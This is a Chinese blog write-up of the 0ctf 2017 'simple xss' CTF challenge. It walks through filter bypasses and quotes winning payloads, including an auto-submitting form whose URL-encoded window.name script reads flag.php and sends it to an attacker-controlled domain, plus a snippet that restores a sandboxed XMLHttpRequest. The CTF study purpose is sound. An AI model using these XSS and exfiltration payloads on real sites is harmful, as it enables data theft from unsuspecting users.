美文网首页
0ctf 2017 xss

0ctf 2017 xss

作者: LzSkyline | 来源:发表于2020-02-18 22:25 被阅读0次

    博客文章迁移: 2017-03-21 12:18


    第一次参加ctf…真的是好醉…我xss做的本来就少,基础知识不牢做起来真的抓耳挠腮的..

    感觉这道题感觉满满的坑点, 还都让我踩到了, 说一下血泪史吧

    第一个simple xss

    上地址:https://router.vip/

    首先看了一下题目要求, 是让直接同目录下的获取flag.php的内容就行了(直接试了试伪造IP, 嗯…是我天真了)

    一开始还觉得跟simplesqlin一样是个送分题, 简直比起complicated xss省事多了啊

    然后又看到题目中说的加了一些过滤, 需要绕过

    所以说本题的难点就在于bypass了对吧.

    先去试了一下过滤程度…数字字母全没过滤, 符号基本过滤完了..最后能用的符号就有这些:

    ~|_^\=<-+*

    = =好少,想想怎么构造payload吧..

    最简单的直接引 script?

    <script src=xss

    额,直接写网址肯定不行, 因为过滤了/ 符号, 网址中没有 // 默认会在当前域名下打开不让用 点 号

    试一下二次url编码? 不行 百分号过滤了

    base64…也不行,逗号分号都过滤了

    然后再看看js函数,试着各种拼接一下, 括号被过滤…嗯没关系 用\+进制编码表示…特喵的括号也过滤了

    好吧 一定有什么其他的方法…..于是google xss bypass, 还真挺多….owasp里有一个挺全的cheat sheet, 我找到两个能用得上的bypass

    过滤 // 的情况下, 使用 \\ bypass:Protocol resolution bypass

    过滤 . 的情况下, 使用dword bypass: Dword encoding

    现学现用, 将我的ip转换了一下 得到的(伪)结果是: 110110110

    然后抱着试试看的心理去试了一下

    <script src=\\110110110

    发现怎么也不执行= = 连报错提示都没有, 然后我本地试了一下原因

    知道真相的我眼泪流下来

    原来chrome下script标签不闭合是不会被执行的啊!!!

    嗯….常识 我不懂= =

    那就…接着换套路呗

    换成iframe试一试

    <iframe src=\\110110110

    嚯~这次出报错了

    Not allowed to load local resource: file://6.144.37.158/

    嗯…是file协议啊…….说好的https呢..

    而且Not allowed是怎么回事…

    搜了一下, 说是chrome会默认阻止file跨站请求

    到这里我感觉到了我全身在僵硬.

    从该题有解的情况下来看, 我感觉在禁了大部分符号的情况下要构造其他域名的URL就只能用\\开头了

    还有就是在点号被禁了的情况下用dword encoding应该也是对的吧

    实在没头绪.我还是决定作死一试, 直接提交payload

    <iframe src=\\110110110

    登录我的服务器, nc 听一下443端口, 看看能收到什么信息

    不一会儿, 服务器真的收到了数据, 不过大多是乱码, 其中意思明确的字符只有

    HTTP/1.1up

    我以为是什么hint, 最后发现是http header upgrade

    看来收到的数据真的没什么用, 不过我发现了一个事情, 那就是我本机报错的代码在服务器上可以运行, 也就是说服务器执行那个iframe的时候没有出现:

    Not allowed to load local resource: file://6.144.37.158/

    但是我当时并不知道为什么= =一开始以为是0ops故意留得漏洞 = = 这就让我更坚信了用\\没错

    但是用\\来表示当前域的话会默认继承协议, 也就是https, 我的网站没有证书肯定访问不了, 所以又去弄了个脚本一键签证书

    然后我又想到了一件事, 我之前再用浏览器时不小心把句号当成点输入过网站, 比如: lzskyline。com, 浏览器是会自动转换的….也就是说我的网址不需要用dword表示了…但是好像并没有进一步解决问题

    思来想去 在过滤了大部分符号的情况下, 又不能用script标签导入js, iframe或者img的src都没法执行脚本, 只能get请求一下我的网站,这样没法跨域flag没法传过来,这题cookie也没啥用

    于是我去翻了翻html标签手册,想从中找到一些能执行脚本的新玩意,然而手册里只是简单介绍了一下每个标签, 一些属性并没有具体说明是做什么的, 导致我错过了最后的机会

    看了看时间, 凌晨了…明天周一还要上课….这题最终还是放弃了= =

    ===================================================

    时间如流水一般, 比赛结束的当天就有大佬写了writeup,看到答案的我眼泪流下来

    ===================================================

    看了答案之后, 一些迷迷糊糊的地方豁然开朗了…不得不说 虽然这次比赛有遗憾, 但是真的能学到知识

    首先是这句话:

    这里需要注意的是href的值,其中是\\,而不是//,html标签中可用//替代http://,但是这里为啥可用\\,因为\\在windows下会是file协议,在linux下才会是当前域的协议

    我知道了为什么我本地测试一直不能通过的原因

    然后看了看他们的payload:

    既然可以使用 \,那就意味着可以 import一个 url, import 非常好用,在能够使用的情况下比起 iframe 的好处是没有跨域的问题,因为 import 相当于把另一个网页 include 进了当前域。

    于是来了个 payload:

    <link rel=import href=\\ip2long
    
    
    

    知识就是硬伤! 我第一次知道了这玩意是干嘛用的= =

    有时候你离成功就差一个知识点!!!

    再来看另一个大佬的payload:

    <svg id=\ onload=location=id+id+12345609861+domain+id+1234+id

    <html>
    <body>
    <form id=”send” action=”https://router.vip/preview.php?” method=”POST”>
    <input type=”hidden” name=”payload” value=”<svg onload=location=name” />
    <input type=”submit” value=”Submit request” />
    </form>
    <script>
    window.name =”javascript:%76%61%72%20%78%68%72%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%78%68%72%2e%6f%70%65%6e%28%27%47%45%54%27%2c%20%27%68%74%74%70%73%3a%2f%2f%72%6f%75%74%65%72%2e%76%69%70%2f%66%6c%61%67%2e%70%68%70%27%2c%20%66%61%6c%73%65%29%3b%0a%78%68%72%2e%73%65%6e%64%28%29%3b%0a%69%66%20%28%78%68%72%2e%73%74%61%74%75%73%20%3d%3d%20%32%30%30%29%20%7b%0a%20%20%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%31%32%33%34%35%36%30%39%38%36%31%72%6f%75%74%65%72%2e%76%69%70%2f%31%32%33%34%2f%3f%72%65%73%75%6c%74%3d%27%2b%78%68%72%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%7d”;
    document.getElementById(“send”).submit();
    </script>
    </body>
    </html>

    (

    PS:这里我省略了部分提交预览时用不到的input标签

    PSS:为了这个题去买一个域名真的够拼的….

    )

    看到了这个payload我才知道恍然大悟的发现好多东西不需要点号就能表示…

    location = location.href = window.location.href

    id = this.id 包含 this.getAttribute(‘id’)

    这种不正经的表达方式估计很多教程都不会提及吧….

    还有这个用window.name传xss绕检测的方法….

    真的是学到了…

    在complicated xss中恢复沙盒的方法也值得记录一下:

    //https://segmentfault.com/q/1010000007477941

    function fix() {

    var iframe = document.createElement(‘iframe’);

    iframe.src = ‘about:blank’;

    document.body.appendChild(iframe);

    window.XMLHttpRequest = iframe.contentWindow.XMLHttpRequest;

    }

    fix();

    最后附上大佬们的连接:

    0ctf 2017 quals web writeup

    http://www.cnblogs.com/iamstudy/articles/0ctf_2017_web_writeup.html

    https://docs.google.com/document/d/1r_iqxVc7__WcHrecouUTcwm-lGs0gIOls_nto-LARpo/mobilebasic

    相关文章

      网友评论

          本文标题:0ctf 2017 xss

          本文链接:https://www.haomeiwen.com/subject/ccanfhtx.html